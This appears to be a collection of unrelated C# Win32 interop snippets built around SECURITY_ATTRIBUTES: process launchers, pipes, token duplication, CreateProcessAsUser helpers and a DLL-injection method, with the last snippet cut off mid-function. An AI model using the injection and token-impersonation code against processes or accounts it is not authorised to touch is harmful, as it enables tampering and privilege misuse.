/// <summary> /// Runs the /// </summary> public static void Run() { const uint NORMAL_PRIORITY_CLASS = 0x0020; string Path = Environment.CurrentDirectory + @"\" + (Program.projectName.ToString() == "Ultimatium" ? "BlackOpsMP.exe" : "iw5mp.exe"); string Arguments = Program.Arguments; PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); tSec.nLength = Marshal.SizeOf(tSec); bool Initialized = CreateProcess(Path, Arguments, ref pSec, ref tSec, false, NORMAL_PRIORITY_CLASS, IntPtr.Zero, null, ref sInfo, out pInfo); if (Initialized) { Log.Write("Launching " + Program.projectName + "..."); Log.Write("Successful launch. PID: " + pInfo.dwProcessId); Log.Write("Happy gaming!"); Environment.Exit(0x0); } else { Log.Write("ERROR: Could not launch " + Program.projectName + ". Press any key to exit."); Console.ReadKey(); Environment.Exit(0x3); } }
public static PythonTuple CreatePipe( CodeContext context, object pSec /*Python passes None*/, int bufferSize) { IntPtr hReadPipe; IntPtr hWritePipe; SECURITY_ATTRIBUTES pSecA = new SECURITY_ATTRIBUTES(); pSecA.nLength = Marshal.SizeOf(pSecA); if (pSec != null) { /* If pSec paseed in from Python is not NULL * there needs to be some conversion done here...*/ } // TODO: handle failures CreatePipePI( out hReadPipe, out hWritePipe, ref pSecA, (uint)bufferSize); return PythonTuple.MakeTuple( new PythonSubprocessHandle(hReadPipe), new PythonSubprocessHandle(hWritePipe) ); }
internal static extern SafeMemoryMappedFileHandle CreateFileMapping( IntPtr hFile, ref SECURITY_ATTRIBUTES lpFileMappingAttributes, int flProtect, int dwMaximumSizeHigh, int dwMaximumSizeLow, string lpName);
extern static bool DuplicateTokenEx( IntPtr hExistingToken, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, out IntPtr phNewToken);
/// <summary> /// Helper method to launch a completely detached process. (.NET Process object is not working well in our case) /// </summary> /// <param name="executablePath">Path of the executable to launch</param> /// <param name="arguments">Arguments of the executable</param> /// <param name="processId">The process id returned if launch was successfull</param> public static bool LaunchProcess(string executablePath, string arguments, out IntPtr processHandle, out int processId) { //var startInfo = new ProcessStartInfo //{ // FileName = executablePath, // Arguments = arguments, // WorkingDirectory = Path.GetDirectoryName(executablePath), // CreateNoWindow = false, // UseShellExecute = false, //}; //var process = new Process { StartInfo = startInfo }; //return process.Start(); PROCESS_INFORMATION pInfo; var lpStartupInfo = new STARTUPINFOEX { StartupInfo = { dwFlags = 0x01 } }; // Flags to enable no new window for child-process lpStartupInfo.StartupInfo.cb = Marshal.SizeOf<STARTUPINFO>(); //lpStartupInfo.StartupInfo.wShowWindow var pSec = new SECURITY_ATTRIBUTES(); var tSec = new SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); tSec.nLength = Marshal.SizeOf(tSec); var result = CreateProcessW(executablePath, "\"" + executablePath + "\" " + arguments, ref pSec, ref tSec, false, CREATE_DEFAULT_ERROR_MODE | CREATE_NO_WINDOW | DETACHED_PROCESS, IntPtr.Zero, Path.GetDirectoryName(executablePath), ref lpStartupInfo, out pInfo); processHandle = IntPtr.Zero; processId = 0; if (result) { processHandle = pInfo.hProcess; processId = pInfo.dwProcessId; } return result; }
//private WindowsImpersonationContext m_CurrentImpersonationContext; public string CreateProcessAsUser(string appPath, bool currentUser = false) { IntPtr Token = new IntPtr(0); IntPtr DupedToken = new IntPtr(0); bool ret; string text = WindowsIdentity.GetCurrent().Name.ToString(); SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.bInheritHandle = false; sa.Length = Marshal.SizeOf(sa); sa.lpSecurityDescriptor = (IntPtr)0; //Token = WindowsIdentity.GetCurrent().Token; Token = Domas.DAP.ADF.Cookie.CookieManger.GetCurrentUserToken(); using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(Token)) { text += "<br/>" + WindowsIdentity.GetCurrent().Name + "<br/>"; } const uint GENERIC_ALL = 0x10000000; const int SecurityImpersonation = 2; const int TokenType = 1; ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken); if (ret == false) text += "DuplicateTokenEx failed with " + Marshal.GetLastWin32Error(); else text += "DuplicateTokenEx SUCCESS"; STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = ""; string commandLinePath; commandLinePath = appPath; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); ret = CreateProcessAsUser(DupedToken, null, commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, "c:\\", ref si, out pi); if (ret == false) text += "CreateProcessAsUser failed with " + Marshal.GetLastWin32Error(); else { text += "CreateProcessAsUser SUCCESS. The child PID is" + pi.dwProcessId; CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } ret = CloseHandle(DupedToken); if (ret == false) text += Marshal.GetLastWin32Error(); else text += "CloseHandle SUCCESS"; return text; }
// // Only called from the custom marshaler // internal SECURITY_ATTRIBUTES GetSECURITY_ATTRIBUTES() { SECURITY_ATTRIBUTES attrs = new SECURITY_ATTRIBUTES() ; attrs.nLength = (uint)SECURITY_ATTRIBUTES.SizeOf;; attrs.bInheritHandle = (_inheritHandles ? Win32.TRUE : Win32.FALSE); attrs.lpSecurityDescriptor = (_secDesc == null ? IntPtr.Zero : _secDesc.Ptr); return attrs; }
internal static extern SafePipeHandle CreateNamedPipeClient( string lpFileName, int dwDesiredAccess, System.IO.FileShare dwShareMode, ref SECURITY_ATTRIBUTES secAttrs, FileMode dwCreationDisposition, int dwFlagsAndAttributes, IntPtr hTemplateFile);
internal static extern SafePipeHandle CreateNamedPipe( string pipeName, int openMode, int pipeMode, int maxInstances, int outBufferSize, int inBufferSize, int defaultTimeout, ref SECURITY_ATTRIBUTES securityAttributes);
static HANDLE createEvent() { SECURITY_ATTRIBUTES securityAttrib = new SECURITY_ATTRIBUTES(); securityAttrib.bInheritHandle = 1; securityAttrib.lpSecurityDescriptor = IntPtr.Zero; securityAttrib.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES)); return CreateEvent(ref securityAttrib, false, false, String.Empty); }
internal static extern int RegCreateKeyEx( SafeRegistryHandle hKey, String lpSubKey, int Reserved, String lpClass, int dwOptions, int samDesired, ref SECURITY_ATTRIBUTES secAttrs, out SafeRegistryHandle hkResult, out int lpdwDisposition);
public static extern bool CreateProcess(StringBuilder lpApplicationName, StringBuilder lpCommandLine, SECURITY_ATTRIBUTES lpProcessAttributes, SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, StringBuilder lpEnvironment, StringBuilder lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation );
static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);
public static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, SECURITY_ATTRIBUTES lpProcessAttributes, SECURITY_ATTRIBUTES lpThreadAttributes, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, // IntPtr because it may point to unicode or ANSI characters, based on a flag. string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
public static bool LaunchProcessAsConsoleUser(string path) { bool ret = false; if (htoken != IntPtr.Zero) { CloseHandle(htoken); htoken = IntPtr.Zero; } if (htoken2 != IntPtr.Zero) { CloseHandle(htoken2); htoken = IntPtr.Zero; } List<WTS_SESSION_INFO> sessions = ListSessions(); foreach (WTS_SESSION_INFO session in sessions) { UInt32 sessionId = (UInt32)session.SessionID; if (sessionId != 0 && sessionId != 0xFFFFFFFF) { bool result = WTSQueryUserToken(sessionId, out htoken); if (result) { const uint MAXIMUM_ALLOWED = 0x02000000; SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); result = DuplicateTokenEx(htoken, MAXIMUM_ALLOWED, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, TOKEN_TYPE.TokenPrimary, out htoken2); if (result) { STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); result = CreateProcessAsUser(htoken2, null, path, ref sa, ref sa, false, 0, (IntPtr)0, null, ref si, out pi); if (result) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); ret = true; ActiveAuthenticationService.LOG.WriteEntry("Application Started in session: " + session.SessionID.ToString()); } } if (htoken2 != IntPtr.Zero) { CloseHandle(htoken2); htoken2 = IntPtr.Zero; } } if (htoken != IntPtr.Zero) { CloseHandle(htoken); htoken = IntPtr.Zero; } } } return ret; }
public extern static bool CreateProcessAsUser(IntPtr TokenHandle, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
internal static extern bool CreateProcess( [MarshalAs(UnmanagedType.LPTStr)] string lpApplicationName, StringBuilder lpCommandLine, ref SECURITY_ATTRIBUTES procSecAttrs, ref SECURITY_ATTRIBUTES threadSecAttrs, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, [MarshalAs(UnmanagedType.LPTStr)] string lpCurrentDirectory, STARTUPINFO lpStartupInfo, PROCESS_INFORMATION lpProcessInformation );
private string RunProcess(string id, string command) { try { IntPtr dupedToken = new IntPtr(0); SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.bInheritHandle = false; sa.Length = Marshal.SizeOf(sa); sa.lpSecurityDescriptor = (IntPtr)0; var token = WindowsIdentity.GetCurrent().Token; const uint GENERIC_ALL = 0x10000000; const int SecurityImpersonation = 2; const int TokenType = 1; var ret = DuplicateTokenEx(token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref dupedToken); if (ret == false) throw new Exception("DuplicateTokenEx failed (" + Marshal.GetLastWin32Error() + ")"); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = ""; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); uint exitCode; try { ret = CreateProcessAsUser(dupedToken, null, @"c:\windows\system32\shutdown.exe " + command + " /m " + id, ref sa, ref sa, false, 0, (IntPtr)0, "c:\\", ref si, out pi); if (ret == false) throw new Exception("CreateProcessAsUser failed (" + Marshal.GetLastWin32Error() + ")"); WaitForSingleObject(pi.hProcess, 10000); GetExitCodeProcess(pi.hProcess, out exitCode); } catch (Exception ex) { throw ex; } finally { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(dupedToken); } if (exitCode == 0) return ""; return "Exit code: " + exitCode; } catch (Exception ex) { return ex.Message; } }
internal static extern bool CreateProcess ( string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, [In, MarshalAs(UnmanagedType.Bool)] bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUP_INFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation );
public DLLInformation inject(string exePath, string dllPath) { DLLInformation d = new DLLInformation(); STARTUPINFO lpStartupInfo = new STARTUPINFO(); PROCESS_INFORMATION lpProcessInfo = new PROCESS_INFORMATION(); SECURITY_ATTRIBUTES lpSecurityAttributes1 = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES lpSecurityAttributes2 = new SECURITY_ATTRIBUTES(); lpSecurityAttributes1.nLength = Marshal.SizeOf(lpSecurityAttributes1); lpSecurityAttributes2.nLength = Marshal.SizeOf(lpSecurityAttributes2); IntPtr hProcess; CreateProcess(exePath, "", ref lpSecurityAttributes1, ref lpSecurityAttributes2, false, 0x0020, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInfo); hProcess = OpenProcess((int)(0x000F0000L | 0x00100000L | 0xFFF), false, lpProcessInfo.dwProcessId); d.ProcID = lpProcessInfo.dwProcessId; d.ErrorCode = commonInject(hProcess, dllPath, ref d); return d; }
protected static SafeFileHandle getPipedStdHandle(uint stdHandle) { SECURITY_ATTRIBUTES security_attributes1 = new SECURITY_ATTRIBUTES(); security_attributes1.nLength = 0; security_attributes1.bInheritHandle = true; IntPtr oldHandle; IntPtr hStdOutReadPipe = IntPtr.Zero; IntPtr hStdOutWritePipe = IntPtr.Zero; IntPtr hDupStdOutReadPipe = IntPtr.Zero; try { if (!CreatePipe(out hStdOutReadPipe, out hStdOutWritePipe, ref security_attributes1, 0)) { int errNo = Marshal.GetLastWin32Error(); throw new Win32Exception(errNo); } oldHandle = GetStdHandle(stdHandle); SetStdHandle(stdHandle, hStdOutWritePipe); if (!DuplicateHandle(GetCurrentProcess(), hStdOutReadPipe, GetCurrentProcess(), out hDupStdOutReadPipe, 0, false, DUPLICATE_SAME_ACCESS)) { int errNo = Marshal.GetLastWin32Error(); throw new Win32Exception(errNo); } } finally { if (hStdOutReadPipe != IntPtr.Zero) { CloseHandle(hStdOutReadPipe); } } SafeFileHandle handle = new SafeFileHandle(hDupStdOutReadPipe, true); if (handle.IsInvalid) { Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); } return handle; }
private static unsafe SafeFileHandle CreateFile(String lpFileName, int dwDesiredAccess, System.IO.FileShare dwShareMode, ref SECURITY_ATTRIBUTES securityAttrs, System.IO.FileMode dwCreationDisposition, int dwFlagsAndAttributes, IntPtr hTemplateFile) { Interop.CREATEFILE2_EXTENDED_PARAMETERS parameters; parameters.dwSize = (uint)Marshal.SizeOf<Interop.CREATEFILE2_EXTENDED_PARAMETERS>(); parameters.dwFileAttributes = (uint)dwFlagsAndAttributes & 0x0000FFFF; parameters.dwSecurityQosFlags = (uint)dwFlagsAndAttributes & 0x000F0000; parameters.dwFileFlags = (uint)dwFlagsAndAttributes & 0xFFF00000; parameters.hTemplateFile = hTemplateFile; fixed (SECURITY_ATTRIBUTES* lpSecurityAttributes = &securityAttrs) { parameters.lpSecurityAttributes = (IntPtr)lpSecurityAttributes; return CreateFile2(lpFileName, dwDesiredAccess, dwShareMode, dwCreationDisposition, ref parameters); } }
public static void Run(out String status, out String identity, String cmdline, String startfrom) { bool ret = false; identity = CurrentUserName; SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.bInheritHandle = false; sa.Length = Marshal.SizeOf(sa); sa.lpSecurityDescriptor = (IntPtr)0; STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = ""; string commandLinePath; commandLinePath = cmdline; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); ret = CreateProcess( null, //LPCTSTR lpApplicationName, cmdline, //LPTSTR lpCommandLine, ref sa, //LPSECURITY_ATTRIBUTES lpProcessAttributes, ref sa, //LPSECURITY_ATTRIBUTES lpThreadAttributes, false, //BOOL bInheritHandles, 0, //DWORD dwCreationFlags, (IntPtr)0, //LPVOID lpEnvironment, startfrom, //LPCTSTR lpCurrentDirectory, ref si, //LPSTARTUPINFO lpStartupInfo, out pi); //LPPROCESS_INFORMATION lpProcessInformation if (ret == false) { status = "CreateProcess failed with " + Marshal.GetLastWin32Error(); } else { status = "CreateProcess SUCCESS. The child PID is" + pi.dwProcessId; CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } }
public static bool Run(string target,string parm) { STARTUPINFO sInfo = new STARTUPINFO(); SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); tSec.nLength = Marshal.SizeOf(tSec); return CreateProcess(new StringBuilder(target), new StringBuilder(parm), null, null, false, 0x00000004, null, null, ref sInfo, ref pInfo); }
private void CreateProcess(string pathToExeAndArgs) { _processInfo = new ProcessInfo(); bool ok = false; SECURITY_ATTRIBUTES sattr = new SECURITY_ATTRIBUTES(); sattr.bInheritHandle = 1; unsafe { sattr.lpSecurityDescriptor = null; } sattr.nLength = Marshal.SizeOf(sattr); _screenBuffer = CreateConsoleScreenBuffer(0x80000000 | 0x40000000, 0x01 | 0x02, ref sattr, 1, IntPtr.Zero); var startInfo = new StartupInfo { dwFlags = 0x0001, wShowWindow = 0, hStdOutput = _screenBuffer }; SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); tSec.nLength = Marshal.SizeOf(tSec); unsafe { ok = CreateProcess( null, pathToExeAndArgs, ref pSec, ref tSec, true, 0, IntPtr.Zero, null, ref startInfo, out _processInfo); } }
public int CreateProcessAsUser(string app, string cmd) { PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); try { SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.Length = Marshal.SizeOf(sa); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = String.Empty; if (app != null && app.Length == 0) app = null; if (cmd != null && cmd.Length == 0) cmd = null; if (!Win32API.CreateProcessAsUser( _userTokenHandle, app, cmd, ref sa, ref sa, false, 0, IntPtr.Zero, @"C:\", ref si, ref pi )) { int error = Marshal.GetLastWin32Error(); Win32Exception ex = new Win32Exception(error); string message = String.Format("CreateProcessAsUser Error: {0}", ex.Message); throw new ApplicationException(message, ex); } } catch (Exception ex) { EventLog.WriteEntry("Screen Monitor", ex.Message, EventLogEntryType.Error, 1, 1); throw; } finally { if (pi.hProcess != IntPtr.Zero) Win32API.CloseHandle(pi.hProcess); if (pi.hThread != IntPtr.Zero) Win32API.CloseHandle(pi.hThread); } return pi.dwProcessID; }
public static ExternalProcess Create(string command) { PROCESS_INFORMATION process_info = new PROCESS_INFORMATION(); STARTUPINFO startup_info = new STARTUPINFO(); startup_info.cb = Marshal.SizeOf(startup_info); startup_info.dwFlags = STARTF_USESTDHANDLES; SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); bool result = CreateProcess(null, command, ref pSec, ref tSec, true, DETACHED_PROCESS, IntPtr.Zero, null, ref startup_info, out process_info); int process_id = process_info.dwProcessId; if (!result) { Console.Error.WriteLine("CreateProcess failed"); return null; } return new ExternalProcess((uint)process_id); }
public static int? StartProcessSuspended(string fileName, string args) { const uint CREATE_SUSPENDED = 0x00000004; var pInfo = new PROCESS_INFORMATION(); var sInfo = new STARTUPINFO(); var pSec = new SECURITY_ATTRIBUTES(); var tSec = new SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); tSec.nLength = Marshal.SizeOf(tSec); var result = CreateProcess( null, fileName + " " + args, ref pSec, ref tSec, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo); return result ? (int?)pInfo.dwProcessId : null; }
static internal extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, int dwShareMode, ref SECURITY_ATTRIBUTES lpSecurityAttributes, int dwCreationDisposition, int dwFlagsAndAttributes, int hTemplateFile);
public static Process CreateProcessAsUser(string filename, string args, SESSION_TYPE session_method = SESSION_TYPE.SessionFromEnumerateSessions) { IntPtr hToken = IntPtr.Zero;//WindowsIdentity.GetCurrent().Token; int dwSessionId = 0; IntPtr hDupedToken = IntPtr.Zero; Int32 dwCreationFlags = 0; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.Length = Marshal.SizeOf(sa); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = ""; IntPtr lpEnvironment = IntPtr.Zero; string full_filepath = Path.GetFullPath(filename); string working_Dir = Path.GetDirectoryName(full_filepath); try { #region ~ get sessionid switch (session_method) { case SESSION_TYPE.SessionFromActiveConsoleSessionId: dwSessionId = GetSessionIdFromActiveConsoleSessionId(); break; case SESSION_TYPE.SessionFromEnumerateSessions: dwSessionId = GetSessionIdFromEnumerateSessions(); break; case SESSION_TYPE.SessionFromProcessExplorerSession: dwSessionId = GetSessionIdFromExplorerSessionId(); break; default: dwSessionId = GetSessionIdFromActiveConsoleSessionId(); break; } #endregion #region ~ retrieve Token from a specified SessionId bool bResult = WTSQueryUserToken(dwSessionId, out hToken); if (!bResult) { throw new Win32Exception(Marshal.GetLastWin32Error()); } #endregion #region ~ Duplicate from the specified Token if (!DuplicateTokenEx( hToken, GENERIC_ALL_ACCESS, ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, (int)TOKEN_TYPE.TokenPrimary, ref hDupedToken )) { throw new Win32Exception(Marshal.GetLastWin32Error()); } #endregion #region ~ Create a Environment Block from specifid Token bool result = CreateEnvironmentBlock(out lpEnvironment, hDupedToken, false); if (!result) { lpEnvironment = IntPtr.Zero; //if fail, reset it to Zero } else { dwCreationFlags = CREATE_UNICODE_ENVIRONMENT; //if success, set the CreationsFlags to CREATE_UNICODE_ENVIRONMENT, then pass it into CreateProcessAsUser } #endregion #region ~ Create a Process with Specified Token if (!CreateProcessAsUser( hDupedToken, full_filepath, string.Format("\"{0}\" {1}", filename.Replace("\"", ""), args), ref sa, ref sa, false, dwCreationFlags, lpEnvironment, working_Dir, ref si, ref pi )) { throw new Win32Exception(Marshal.GetLastWin32Error()); } #endregion #region ~ Destroy the Environment Block which is Created by CreateEnvironment DestroyEnvironmentBlock(lpEnvironment); #endregion return(Process.GetProcessById(pi.dwProcessID)); } catch (Win32Exception e) { #region ~handle win32 exception int pResponse = 0; string errMsg = "NativeErrorCode:\t" + e.NativeErrorCode + "\n\nSource: " + e.Source + "\n\nMessage: " + e.Message + "\n\nStackTrace: " + e.StackTrace; SendMessageBoxToRemoteDesktop("Win32 Exception!!", errMsg, MB_OK, 0, out pResponse, false); //send the error message to the remote desktop return(null); #endregion } finally { #region ~ release hanlde if (pi.hProcess != IntPtr.Zero) { CloseHandle(pi.hProcess); } if (pi.hThread != IntPtr.Zero) { CloseHandle(pi.hThread); } if (hDupedToken != IntPtr.Zero) { CloseHandle(hDupedToken); } #endregion } }
public static PythonTuple CreateProcess( CodeContext context, string applicationName, string commandLineArgs, object pSec /*subprocess.py passes None*/, object tSec /*subprocess.py passes None*/, int?bInheritHandles, uint?dwCreationFlags, object lpEnvironment, string lpCurrentDirectory, object lpStartupInfo /* subprocess.py passes STARTUPINFO*/) { object dwFlags = PythonOps.GetBoundAttr(context, lpStartupInfo, "dwFlags"); //public Int32 dwFlags; object hStdInput = PythonOps.GetBoundAttr(context, lpStartupInfo, "hStdInput"); //public IntPtr hStdInput; object hStdOutput = PythonOps.GetBoundAttr(context, lpStartupInfo, "hStdOutput"); //public IntPtr hStdOutput; object hStdError = PythonOps.GetBoundAttr(context, lpStartupInfo, "hStdError"); //public IntPtr hStdError; object wShowWindow = PythonOps.GetBoundAttr(context, lpStartupInfo, "wShowWindow"); //Int16 wShowWindow; Int32 dwFlagsInt32 = dwFlags != null?Converter.ConvertToInt32(dwFlags) : 0; IntPtr hStdInputIntPtr = hStdInput != null ? new IntPtr(Converter.ConvertToInt32(hStdInput)) : IntPtr.Zero; IntPtr hStdOutputIntPtr = hStdOutput != null ? new IntPtr(Converter.ConvertToInt32(hStdOutput)) : IntPtr.Zero; IntPtr hStdErrorIntPtr = hStdError != null ? new IntPtr(Converter.ConvertToInt32(hStdError)) : IntPtr.Zero; Int16 wShowWindowInt16 = wShowWindow != null?Converter.ConvertToInt16(wShowWindow) : (short)0; STARTUPINFO startupInfo = new STARTUPINFO(); startupInfo.dwFlags = dwFlagsInt32; startupInfo.hStdInput = hStdInputIntPtr; startupInfo.hStdOutput = hStdOutputIntPtr; startupInfo.hStdError = hStdErrorIntPtr; startupInfo.wShowWindow = wShowWindowInt16; // No special security SECURITY_ATTRIBUTES pSecSA = new SECURITY_ATTRIBUTES(); pSecSA.nLength = Marshal.SizeOf(pSecSA); SECURITY_ATTRIBUTES tSecSA = new SECURITY_ATTRIBUTES(); tSecSA.nLength = Marshal.SizeOf(tSecSA); if (pSec != null) { /* If pSec paseed in from Python is not NULL * there needs to be some conversion done here...*/ } if (tSec != null) { /* If tSec paseed in from Python is not NULL * there needs to be some conversion done here...*/ } // If needed convert lpEnvironment Dictionary to lpEnvironmentIntPtr string lpEnvironmentStr = EnvironmentToNative(context, lpEnvironment); PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION(); bool result = CreateProcessPI( String.IsNullOrEmpty(applicationName) ? null : applicationName /*applicationNameHelper*//*processStartInfo.FileName*/, String.IsNullOrEmpty(commandLineArgs) ? null : commandLineArgs /*commandLineArgsHelper*//*processStartInfo.Arguments*/, ref pSecSA, ref tSecSA, bInheritHandles.HasValue && bInheritHandles.Value > 0 ? true : false, dwCreationFlags.HasValue ? dwCreationFlags.Value : 0, lpEnvironmentStr, lpCurrentDirectory, ref startupInfo, out lpProcessInformation); if (!result) { int error = Marshal.GetLastWin32Error(); throw PythonExceptions.CreateThrowable(PythonExceptions.WindowsError, error, CTypes.FormatError(error)); } IntPtr hp = lpProcessInformation.hProcess; IntPtr ht = lpProcessInformation.hThread; int pid = lpProcessInformation.dwProcessId; int tid = lpProcessInformation.dwThreadId; return(PythonTuple.MakeTuple( new PythonSubprocessHandle(hp, true), new PythonSubprocessHandle(ht), pid, tid)); }
public static extern bool CreateDirectory(string lpPathName, SECURITY_ATTRIBUTES lpSecurityAttributes);
internal static extern SafeWaitHandle CreateEvent(SECURITY_ATTRIBUTES lpSecurityAttributes, bool isManualReset, bool initialState, String name);
public static extern IntPtr CreateMutex(SECURITY_ATTRIBUTES lpMutexAttributes, bool bInitialOwner, string lpName);
static extern SafePipeHandle CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, int nMaxInstances, int nOutBufferSize, int nInBufferSize, uint nDefaultTimeOut, SECURITY_ATTRIBUTES lpSecurityAttributes);
/// <summary> /// Execute a console command in a hidden window with a timeout and standard input feed /// <param name="commandline">The command line to ecexute</param> /// <param name="timeoutMilliSeconds">A timeout in milliseconds.</param> /// <param name="standardInput">The string to feed to standard input of the process</param> /// <param name="currentDir">The current directory for the process</param> /// <returns>The exit code of the process</returns> /// </summary> public int ExecuteCommand(string commandline, uint timeoutMilliSeconds, string standardInput, string currentDir) { if (this.processInformation.hProcess != IntPtr.Zero) { throw new ApplicationException("Cannot execute a command when another command is still executing"); } try { // Create security attributes to be able to set pipes to NO INHERIT SECURITY_ATTRIBUTES saAttr = new SECURITY_ATTRIBUTES(); saAttr.length = Marshal.SizeOf(saAttr); saAttr.bInheritHandle = 1; // true saAttr.lpSecurityDescriptor = IntPtr.Zero; // Create a pipe for the child process's STDIN. if (CreatePipe(out this.hChildStdinRd, out this.hChildStdinWr, ref saAttr, 0) == 0) { throw new ApplicationException("Could not redirect stdin"); } // Ensure the write handle to the pipe for STDIN is not inherited. SetHandleInformation(this.hChildStdinWr, 1 /* HANDLE_FLAG_INHERIT */, 0); // Create a pipe for the child process's STDOUT. if (CreatePipe(out this.hChildStdoutRd, out this.hChildStdoutWr, ref saAttr, 0) == 0) { throw new ApplicationException("Could not redirect stdout"); } // Ensure the read handle to the pipe for STDOUT is not inherited. SetHandleInformation(hChildStdoutRd, 1 /* HANDLE_FLAG_INHERIT */, 0); // Create a pipe for the child process's STDERR. if (CreatePipe(out this.hChildStdErrorRd, out this.hChildStdErrorWr, ref saAttr, 0) == 0) { throw new ApplicationException("Could not redirect stderr"); } // Ensure the write handle to the pipe for STDIN is not inherited. SetHandleInformation(this.hChildStdErrorRd, 1 /* HANDLE_FLAG_INHERIT */, 0); // Now create the child process in a suspended state // with handles redirected to pipes STARTUPINFO si = new STARTUPINFO(); si.cb = (uint)Marshal.SizeOf(si); si.hStdInput = this.hChildStdinRd; si.hStdOutput = this.hChildStdoutWr; si.hStdError = this.hChildStdErrorWr; si.dwFlags |= 0x100; /* STARTF_USESTDHANDLES; */ si.wShowWindow = 0; this.processInformation = new PROCESS_INFORMATION(); string effectiveCommandLine = "\"" + CommandFileName + "\""; if (!string.IsNullOrEmpty(commandline)) { effectiveCommandLine += " " + commandline; } if (CreateProcess( CommandFileName, effectiveCommandLine, IntPtr.Zero, /* process attributes */ IntPtr.Zero, /* thread attributes */ 1 /* true */, /* inherit handles */ 4 /* suspended*/ | 0x08000000 /* CREATE_NO_WINDOW */, IntPtr.Zero, /* environment */ currentDir, /* current dir */ ref si, /* Startup-info */ out this.processInformation) == 0) { throw new ApplicationException("Could not create process"); } // Close the write end of the pipes before reading from the // read end of the pipes. if (CloseHandle(hChildStdoutWr) == 0) { throw new ApplicationException("Could not close stdout"); } if (CloseHandle(hChildStdErrorWr) == 0) { throw new ApplicationException("Could not close stderr"); } this.standardOutput = new StringBuilder(); this.standardError = new StringBuilder(); this.currentOutputLine = ""; this.currentErrorLine = ""; // Start a new thread to write to standard input if necessary Thread standardInputWriter = null; if (standardInput != null) { // Print to standard input: standardInputWriter = new Thread(new ParameterizedThreadStart(WriteStandardInput)); 